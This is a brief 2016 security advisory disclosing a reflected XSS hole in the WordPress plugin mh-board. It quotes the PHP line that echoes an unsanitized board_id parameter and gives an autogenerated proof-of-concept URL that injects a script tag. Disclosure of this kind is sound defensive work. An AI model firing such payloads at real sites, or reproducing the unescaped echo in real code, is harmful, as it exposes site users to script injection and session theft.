Advisory #: 55
Title: Reflected XSS in wordpress plugin mh-board v1.3.2.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/mh-board
Downloads: 19520
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: mh-board
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./mh-board/templates/default/mhboard-write.php: 54: <input type="hidden" name="board_parent" value="<?php echo $_GET['board_id'];?>"> The variable board_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./mh-board/templates/default/mhboard-write.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/mh-board/templates/default/mhboard-write.php?board_id="><script>alert(1);</script><"